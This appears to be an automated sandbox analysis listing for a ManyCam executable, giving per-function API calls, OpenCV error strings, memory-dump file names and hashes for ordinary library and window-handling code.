Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID: ErrorStatus$AttrValuemallocsprintf
String ID: %ui$%uu$.\cxpersistence.cpp$Inner function failed.$Size of sequence element (elem_size) is inconsistent with seq->flags$The size of element calculated from "dt" and the elem_size do not match$icvWriteFormat
API String ID: 1469201705-1260533183
Opcode ID: 8915f9fb424bc8cf3563535489ebea8f33765e36fbdc8075803dcced7d2e2308
Instruction ID: 10981c6ba64edf38279f3c1d97839791f705bff2b70846f2ce3ed4599e92a8db
Opcode Fuzzy Hash: 8915f9fb424bc8cf3563535489ebea8f33765e36fbdc8075803dcced7d2e2308
Instruction Fuzzy Hash: EF3149F77D12012BDB18AA1CEC66ABEF381EBC0732F18463EF601D7680D67599418291

Uniqueness

Uniqueness Score: -1.00%

Function 00472C60 Relevance: 21.3, APIs: 7, Strings: 5, Instructions: 270memoryCOMMON

Download Yara Rule

APIs

_wfopen_s.MSVCR80 ref: 00472CBE
fclose.MSVCR80 ref: 00472CDF
_DebugHeapAllocator.LIBCPMTD ref: 00472D41
_DebugHeapAllocator.LIBCPMTD ref: 00472D53
_DebugHeapAllocator.LIBCPMTD ref: 00472E2E
_DebugHeapAllocator.LIBCPMTD ref: 00472E59
_DebugHeapAllocator.LIBCPMTD ref: 00472E98

Strings

base_class, xrefs: 00472DD6
prop, xrefs: 00472F05
val, xrefs: 00472F52
class, xrefs: 00472D67
name, xrefs: 00472F2B

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: AllocatorDebugHeap$_wfopen_sfclose
String ID: base_class$class$name$prop$val
API String ID: 1905607448-2961531382
Opcode ID: 265c9ab7eb5baf22480eda760dc822cfc626c5c0d99404b903e2b5ff3dc1b93f
Instruction ID: 751db2e67e60f486d96aaf90422ccf13f7de2e4e99e3856fc400571b524def08
Opcode Fuzzy Hash: 265c9ab7eb5baf22480eda760dc822cfc626c5c0d99404b903e2b5ff3dc1b93f
Instruction Fuzzy Hash: 47C14C70901258DEDB14EBA4CD55BEEBBB4BF50308F10819EE14A67292DB781F88CF95

Uniqueness

Uniqueness Score: -1.00%

Function 01764080 Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 187COMMON

Download Yara Rule

APIs

cvGetMat.CXCORE099 ref: 017640B6
cvGetErrStatus.CXCORE099(?,?,00000000), ref: 017640C0
cvError.CXCORE099(000000FF,cvSetIdentity,Inner function failed.,.\cxmatrix.cpp,00000041,?,?,00000000), ref: 017640DC
cvError.CXCORE099(000000E8,cvSetIdentity,coi is not supported,.\cxmatrix.cpp,00000043), ref: 01764103
cvErrorFromIppStatus.CXCORE099(00000000,cvSetIdentity,OpenCV function failed,.\cxmatrix.cpp,00000057,?,?,?,?), ref: 017641A3
cvError.CXCORE099(00000000,?,?,?,00000000), ref: 017641AC
cvScalarToRawData.CXCORE099(?,?,-00000001,00000000,?,?,?,?), ref: 01764233

Strings

coi is not supported, xrefs: 017640F7
Inner function failed., xrefs: 017640D0
OpenCV function failed, xrefs: 01764198
.\cxmatrix.cpp, xrefs: 017640CB, 017640F2, 01764193
cvSetIdentity, xrefs: 017640D5, 017640FC, 0176419D

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID: Error$Status$DataFromScalar
String ID: .\cxmatrix.cpp$Inner function failed.$OpenCV function failed$coi is not supported$cvSetIdentity
API String ID: 469994097-1910902401
Opcode ID: 186303a58c35b24a9dc29ee16fd4e4f5f8deb6d26079b5ceee71ed10a589ba08
Instruction ID: 19f1d93e6458a80957accac567daed65d7d143866f17597facd2e6765ca6208a
Opcode Fuzzy Hash: 186303a58c35b24a9dc29ee16fd4e4f5f8deb6d26079b5ceee71ed10a589ba08
Instruction Fuzzy Hash: FC5147B7B083079FDB189E58DCA5B6BF798EBE4210F44093DFD0697381E270D6588296

Uniqueness

Uniqueness Score: -1.00%

Function 01784790 Relevance: 21.2, APIs: 5, Strings: 7, Instructions: 186COMMON

Download Yara Rule

APIs

cvError.CXCORE099(000000E5,cvXMLWriteString,Null string pointer,.\cxpersistence.cpp,000009B1), ref: 017847E9

Part of subcall function 01736DF0: cvSetErrStatus.CXCORE099(00000000,00000000,?,016F107F,000000FC,cvAlloc,Out of memory,.\cxalloc.cpp,0000006F), ref: 01736DFD

cvError.CXCORE099(000000FB,cvXMLWriteString,The written string is too long,.\cxpersistence.cpp,000009B5), ref: 0178483C

Strings

", xrefs: 01784876
cvXMLWriteString, xrefs: 017847E2, 01784835
Null string pointer, xrefs: 017847DD
The written string is too long, xrefs: 01784830
.\cxpersistence.cpp, xrefs: 017847D8, 0178482B
#x%02x, xrefs: 0178493E
amp, xrefs: 017848FD

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID: Error$Status
String ID: "$#x%02x$.\cxpersistence.cpp$Null string pointer$The written string is too long$amp$cvXMLWriteString
API String ID: 483703942-1426817158
Opcode ID: c9f1ac86dad362c37cacb5e07731f794cb9f3dda4f9db1db6f078ddea1b07458
Instruction ID: a1dcb663638ba7427675f04594f10c8b3cf6003b853cba1408bc8ff34edcdd8b
Opcode Fuzzy Hash: c9f1ac86dad362c37cacb5e07731f794cb9f3dda4f9db1db6f078ddea1b07458
Instruction Fuzzy Hash: 7E6106719C83839BEB32AF2CD819766FBE0AF95354F58085DE4CA53242E3B59684C343

Uniqueness

Uniqueness Score: -1.00%

Function 0042E150 Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 171memoryCOMMON

Download Yara Rule

APIs

_DebugHeapAllocator.LIBCPMTD ref: 0042E198

Part of subcall function 004167C0: _DebugHeapAllocator.LIBCPMTD ref: 004167CE

_DebugHeapAllocator.LIBCPMTD ref: 0042E1D1

Part of subcall function 004167E0: _DebugHeapAllocator.LIBCPMTD ref: 004167EE

_DebugHeapAllocator.LIBCPMTD ref: 0042E203

Part of subcall function 0040EA00: _DebugHeapAllocator.LIBCPMTD ref: 0040EA0E

_DebugHeapAllocator.LIBCPMTD ref: 0042E23C
_DebugHeapAllocator.LIBCPMTD ref: 0042E258
GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000400), ref: 0042E295
_DebugHeapAllocator.LIBCPMTD ref: 0042E2A5

Strings

www.manycam.com, xrefs: 0042E35A
www.manycam.com, xrefs: 0042E346
Creation date: , xrefs: 0042E250
Name: , xrefs: 0042E190
Created by: , xrefs: 0042E1FB

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: AllocatorDebugHeap$DateFormat
String ID: Created by: $Creation date: $Name: $www.manycam.com$www.manycam.com
API String ID: 393568584-1701023392
Opcode ID: 6ae18c8123b619394136c12ce8f0d690e019f5e653af45ce7849ef6131bd0f08
Instruction ID: cbadc1f5ef3ad51f7f35ce95d366eb704496e5c2bb1529dbc726db86d70e8f02
Opcode Fuzzy Hash: 6ae18c8123b619394136c12ce8f0d690e019f5e653af45ce7849ef6131bd0f08
Instruction Fuzzy Hash: 65711771A001199FCB14EB64CD91BEEB7B4BF48304F10869DE55AA7291DF34AE88CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00406670 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 164COMMON

Download Yara Rule

APIs

Part of subcall function 00406840: GetWindowLongW.USER32(?,000000F0), ref: 0040684F

GetParent.USER32 ref: 0040669A
GetWindow.USER32(?,00000004), ref: 004066AD
GetWindowRect.USER32(?,?), ref: 004066C0
GetWindowLongW.USER32(00000000,000000F0), ref: 004066DD
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 0040670D
GetWindowRect.USER32(00000000,?), ref: 0040673B
GetParent.USER32(?), ref: 00406749
GetClientRect.USER32(?,?), ref: 0040675A
GetClientRect.USER32(00000000,?), ref: 00406768
MapWindowPoints.USER32(00000000,?,?,00000002), ref: 0040677C
SetWindowPos.USER32(74C45DB3,00000000,00000000,74C45DB3,000000FF,000000FF,00000015,?,?), ref: 00406826

Strings

*b@, xrefs: 004067BB, 004067FF, 0040680A

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: Window$Rect$ClientLongParent$InfoParametersPointsSystem
String ID: *b@
API String ID: 2289592163-3951841937
Opcode ID: 85e0b70c33394ba71c68aafcb1af9cf7bac2a856a7ed6dfd4d8bfa7c3afbd8a7
Instruction ID: 1e1c0fd00856f1237eb481f10da8126670bc63b2ce16d521bf68457a350c038b
Opcode Fuzzy Hash: 85e0b70c33394ba71c68aafcb1af9cf7bac2a856a7ed6dfd4d8bfa7c3afbd8a7
Instruction Fuzzy Hash: BA611975E00209EFDB04CFE8C984AEEBBB5BF88304F148629E516BB394D734A945CB54

Uniqueness

Uniqueness Score: -1.00%

Function 01728090 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 137COMMON

Download Yara Rule

APIs

cvError.CXCORE099(000000E5,cvSeqPushMulti,NULL sequence pointer,.\cxdatastructs.cpp,0000068C), ref: 017280B8

Part of subcall function 01736DF0: cvSetErrStatus.CXCORE099(00000000,00000000,?,016F107F,000000FC,cvAlloc,Out of memory,.\cxalloc.cpp,0000006F), ref: 01736DFD

cvError.CXCORE099(FFFFFF37,cvSeqPushMulti,number of removed elements is negative,.\cxdatastructs.cpp,0000068E), ref: 017280E5

Strings

NULL sequence pointer, xrefs: 017280AC
Inner function failed., xrefs: 017281E7
number of removed elements is negative, xrefs: 017280D6
.\cxdatastructs.cpp, xrefs: 017280A7, 017280D1, 017281E2
cvSeqPushMulti, xrefs: 017280B1, 017280DB, 017281EC

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID: Error$Status
String ID: .\cxdatastructs.cpp$Inner function failed.$NULL sequence pointer$cvSeqPushMulti$number of removed elements is negative
API String ID: 483703942-1158240429
Opcode ID: dd2ab58d05b98d0853decb180989d2e39ac97a9c2fd2959c71743940bab70649
Instruction ID: 6901c4c11597a01a9ef973c8f8515aecff01d2e3202e008b85bacabec6978aa5
Opcode Fuzzy Hash: dd2ab58d05b98d0853decb180989d2e39ac97a9c2fd2959c71743940bab70649
Instruction Fuzzy Hash: 214186B23003136BD7109E2EDD91B16F3E4AFD0620F24823CFA05D7682E762E8568692

Uniqueness

Uniqueness Score: -1.00%

Function 017843C0 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 102COMMON

Download Yara Rule

APIs

cvError.CXCORE099(000000FB,icvXMLStartWriteStruct,Some collection type: CV_NODE_SEQ or CV_NODE_MAP must be specified,.\cxpersistence.cpp,00000906), ref: 017843F0

Part of subcall function 01736DF0: cvSetErrStatus.CXCORE099(00000000,00000000,?,016F107F,000000FC,cvAlloc,Out of memory,.\cxalloc.cpp,0000006F), ref: 01736DFD

cvGetErrStatus.CXCORE099 ref: 0178443D
cvError.CXCORE099(000000FF,icvXMLStartWriteStruct,Inner function failed.,.\cxpersistence.cpp,0000091E), ref: 017844D4

Strings

icvXMLStartWriteStruct, xrefs: 017843E9, 017844CD
type_id, xrefs: 01784405
Some collection type: CV_NODE_SEQ or CV_NODE_MAP must be specified, xrefs: 017843E4
Inner function failed., xrefs: 017844C8
.\cxpersistence.cpp, xrefs: 017843DF, 017844C3

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID: ErrorStatus
String ID: .\cxpersistence.cpp$Inner function failed.$Some collection type: CV_NODE_SEQ or CV_NODE_MAP must be specified$icvXMLStartWriteStruct$type_id
API String ID: 1596131371-2587591652
Opcode ID: d0671eda19286d3b3a8b13f0ea612065dc17fbfa110a30fcdf484c9374874e67
Instruction ID: 0e2bd54db25faf4d68b832206dfd8d37be1a25ea6ffc11ec4415539ff1cf3a01
Opcode Fuzzy Hash: d0671eda19286d3b3a8b13f0ea612065dc17fbfa110a30fcdf484c9374874e67
Instruction Fuzzy Hash: 653133B16443026BD720AF19DD85B5BF3E4FF84320F804A2DF99A97785E7B4E5048B52

Uniqueness

Uniqueness Score: -1.00%

Function 01702340 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 85COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 01702379
cvCreateMatNDHeader.CXCORE099(?), ref: 017023A8
cvGetErrStatus.CXCORE099 ref: 017023B2
cvCreateData.CXCORE099(00000000), ref: 017023DA
cvGetErrStatus.CXCORE099 ref: 017023E2
cvCopy.CXCORE099(?,00000000,00000000), ref: 017023F6
cvGetErrStatus.CXCORE099 ref: 017023FE
cvError.CXCORE099(000000FB,cvCloneMatND,Bad CvMatND header,.\cxarray.cpp,0000018A), ref: 01702424

Strings

cvCloneMatND, xrefs: 017023CA, 0170241D
Bad CvMatND header, xrefs: 01702418
.\cxarray.cpp, xrefs: 017023C0, 01702413
Inner function failed., xrefs: 017023C5

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID: Status$Create$CopyDataErrorHeader__alloca_probe_16
String ID: .\cxarray.cpp$Bad CvMatND header$Inner function failed.$cvCloneMatND
API String ID: 3373177809-1457885656
Opcode ID: ba6a406ad6acf5159fa1a1b092e8dd5d9eeb62ab2e285a53322f8a1b1deb81bb
Instruction ID: 66650f37f1e216710613b9e096ad797d16502e4e9de0bfcf34ae1458171c2726
Opcode Fuzzy Hash: ba6a406ad6acf5159fa1a1b092e8dd5d9eeb62ab2e285a53322f8a1b1deb81bb
Instruction Fuzzy Hash: 37213673700702EBDB229A29EC5EB5BF3E49F90B10F51421DF905E72C6EB70EA414691

Uniqueness

Uniqueness Score: -1.00%

Function 017021C0 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 64COMMON

Download Yara Rule

APIs

cvCreateMatHeader.CXCORE099(?,?), ref: 017021EB

Part of subcall function 01702070: cvError.CXCORE099(FFFFFF37,cvCreateMatHeader,Non-positive width or height,.\cxarray.cpp,00000088), ref: 01702188
Part of subcall function 01702070: cvGetErrStatus.CXCORE099 ref: 01702190
Part of subcall function 01702070: cvReleaseMat.CXCORE099(?), ref: 0170219E

cvGetErrStatus.CXCORE099 ref: 017021F5

Part of subcall function 01736D60: malloc.MSVCR80 ref: 01736D6E

cvError.CXCORE099(000000FF,cvCloneMat,Inner function failed.,.\cxarray.cpp,00000107), ref: 01702214
cvCreateData.CXCORE099(00000000), ref: 01702228
cvGetErrStatus.CXCORE099 ref: 01702230
cvCopy.CXCORE099(?,00000000,00000000), ref: 01702244

Part of subcall function 01722910: memcpy.MSVCR80(?,?,?,00000000,?), ref: 01722997
Part of subcall function 01722910: cvClearSet.CXCORE099(00000000,?,?,?,00000000,?), ref: 017229AC
Part of subcall function 01722910: cvFree_.CXCORE099(00000000,00000000,?), ref: 017229C6
Part of subcall function 01722910: cvGetErrStatus.CXCORE099(?,00000000,?), ref: 017229D1
Part of subcall function 01722910: cvError.CXCORE099(000000FF,cvCopy,Inner function failed.,.\cxcopy.cpp,00000140,?,?,00000000,?), ref: 017229F0

cvGetErrStatus.CXCORE099 ref: 0170224C
cvError.CXCORE099(000000FB,cvCloneMat,Bad CvMat header,.\cxarray.cpp,00000100), ref: 01702272

Strings

Bad CvMat header, xrefs: 01702266
cvCloneMat, xrefs: 0170220D, 0170226B
.\cxarray.cpp, xrefs: 01702203, 01702261
Inner function failed., xrefs: 01702208

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID: Status$Error$Create$ClearCopyDataFree_HeaderReleasemallocmemcpy
String ID: .\cxarray.cpp$Bad CvMat header$Inner function failed.$cvCloneMat
API String ID: 2397858851-239023815
Opcode ID: 270407487aa311504b17710c0dcc7796dead903b6bcb7ff14e2db64bc07053cc
Instruction ID: 7cfd637b4970317909702028c5312423f62b6748575f6d93e5442128f029da0a
Opcode Fuzzy Hash: 270407487aa311504b17710c0dcc7796dead903b6bcb7ff14e2db64bc07053cc
Instruction Fuzzy Hash: 44014C77B48312B3ED12B0EABC1EF5BE1C44BE0B50F41026CF611A62CBE29095C10165

Uniqueness

Uniqueness Score: -1.00%

Function 0041C950 Relevance: 19.7, APIs: 13, Instructions: 185COMMON

Download Yara Rule

APIs

Part of subcall function 004078E0: GetClientRect.USER32(?,00000000), ref: 004078F1

GetStockObject.GDI32(00000000), ref: 0041C9C4
FillRect.USER32(?,?,00000000), ref: 0041C9D3
?GetHeight@CxImage@@QBEKXZ.CXIMAGECRT ref: 0041C9FF
?GetWidth@CxImage@@QBEKXZ.CXIMAGECRT ref: 0041CA2E
?Draw@CxImage@@QAEJPAUHDC__@@ABUtagRECT@@PAU3@_N@Z.CXIMAGECRT(00000000,?,00000000,00000000), ref: 0041CA56
?GetWidth@CxImage@@QBEKXZ.CXIMAGECRT(00000000,?,00000000,00000000), ref: 0041CA6D
?Draw@CxImage@@QAEJPAUHDC__@@ABUtagRECT@@PAU3@_N@Z.CXIMAGECRT(00000000,?,00000000,00000000,00000000,?,00000000,00000000), ref: 0041CA97
?Draw@CxImage@@QAEJPAUHDC__@@ABUtagRECT@@PAU3@_N@Z.CXIMAGECRT(00000000,?,00000000,00000000,00000000,?,00000000,00000000,00000000,?,00000000,00000000), ref: 0041CAC5
?GetWidth@CxImage@@QBEKXZ.CXIMAGECRT(00000000,?,00000000,00000000,00000000,?,00000000,00000000,00000000,?,00000000,00000000), ref: 0041CB0E
?Draw@CxImage@@QAEJPAUHDC__@@ABUtagRECT@@PAU3@_N@Z.CXIMAGECRT(00000000,?,00000000,00000000,00000000,?,00000000,00000000,00000000,?,00000000,00000000,00000000,?,00000000,00000000), ref: 0041CB36
?GetWidth@CxImage@@QBEKXZ.CXIMAGECRT(00000000,?,00000000,00000000,00000000,?,00000000,00000000,00000000,?,00000000,00000000,00000000,?,00000000,00000000), ref: 0041CB4D
?Draw@CxImage@@QAEJPAUHDC__@@ABUtagRECT@@PAU3@_N@Z.CXIMAGECRT(00000000,?,00000000,00000000,00000000,?,00000000,00000000,00000000,?,00000000,00000000,00000000,?,00000000,00000000), ref: 0041CB77
?Draw@CxImage@@QAEJPAUHDC__@@ABUtagRECT@@PAU3@_N@Z.CXIMAGECRT(00000000,?,00000000,00000000,00000000,?,00000000,00000000,00000000,?,00000000,00000000,00000000,?,00000000,00000000), ref: 0041CBA5

Part of subcall function 00412790: BitBlt.GDI32(FFFFFFFF,?,?,?,?,?,?,?,00CC0020), ref: 00412805

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: Image@@$C__@@Draw@U3@_Utag$Width@$Rect$ClientFillHeight@ObjectStock
String ID:
API String ID: 1214153398-0
Opcode ID: 1d1617abfc9fbb8697bfd5c8fbec6c435857e0e2642eb5cd6e205186f3222b68
Instruction ID: 64adb8edbe6d6a745132db4a95317a47dd4f78eb1bf019a77eab89ed2a27929a
Opcode Fuzzy Hash: 1d1617abfc9fbb8697bfd5c8fbec6c435857e0e2642eb5cd6e205186f3222b68
Instruction Fuzzy Hash: 8A81C3B4D002099FDB58EF98D991BEEB7B5BF48304F20816AE519B7381DB342A45CF64

Uniqueness

Uniqueness Score: -1.00%

Function 00502A40 Relevance: 19.7, APIs: 13, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 898b4d837ae699b25311b23fbbf044c2f725344d7131efd26da484f397ae12a6
Instruction ID: 12e37dd4abdcf4f70f14d239c3f2fb0002299592faa212dd5bf358f334e534ec
Opcode Fuzzy Hash: 898b4d837ae699b25311b23fbbf044c2f725344d7131efd26da484f397ae12a6
Instruction Fuzzy Hash: 20615470904308EFDB14DFA4D85AAEEBFB6BF55310F204A19E516AB2D1EB305A48DB50

Uniqueness

Uniqueness Score: -1.00%

Function 01700770 Relevance: 19.5, APIs: 6, Strings: 5, Instructions: 262COMMON

Download Yara Rule

APIs

cvError.CXCORE099(FFFFFF2D,cvPtr2D,index is out of range,.\cxarray.cpp,000007E6), ref: 01700814
cvError.CXCORE099(000000E8,cvPtr2D,COI must be non-null in case of planar images,.\cxarray.cpp,00000805), ref: 0170089A
cvError.CXCORE099(FFFFFF2E,cvPtr2D,017A124F,.\cxarray.cpp,00000819), ref: 01700943
cvError.CXCORE099(FFFFFF2D,cvPtr2D,index is out of range,.\cxarray.cpp,00000811), ref: 0170096E

Part of subcall function 01736DF0: cvSetErrStatus.CXCORE099(00000000,00000000,?,016F107F,000000FC,cvAlloc,Out of memory,.\cxalloc.cpp,0000006F), ref: 01736DFD

cvError.CXCORE099(000000FB,cvPtr2D,unrecognized or unsupported array type,.\cxarray.cpp,00000832), ref: 01700A4D

Strings

cvPtr2D, xrefs: 0170080A, 01700893, 01700939, 01700964, 017009E3, 01700A46
.\cxarray.cpp, xrefs: 01700800, 01700889, 0170092F, 0170095A, 017009D9, 01700A3C
COI must be non-null in case of planar images, xrefs: 0170088E
unrecognized or unsupported array type, xrefs: 01700A41
index is out of range, xrefs: 01700805, 0170095F, 017009DE

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
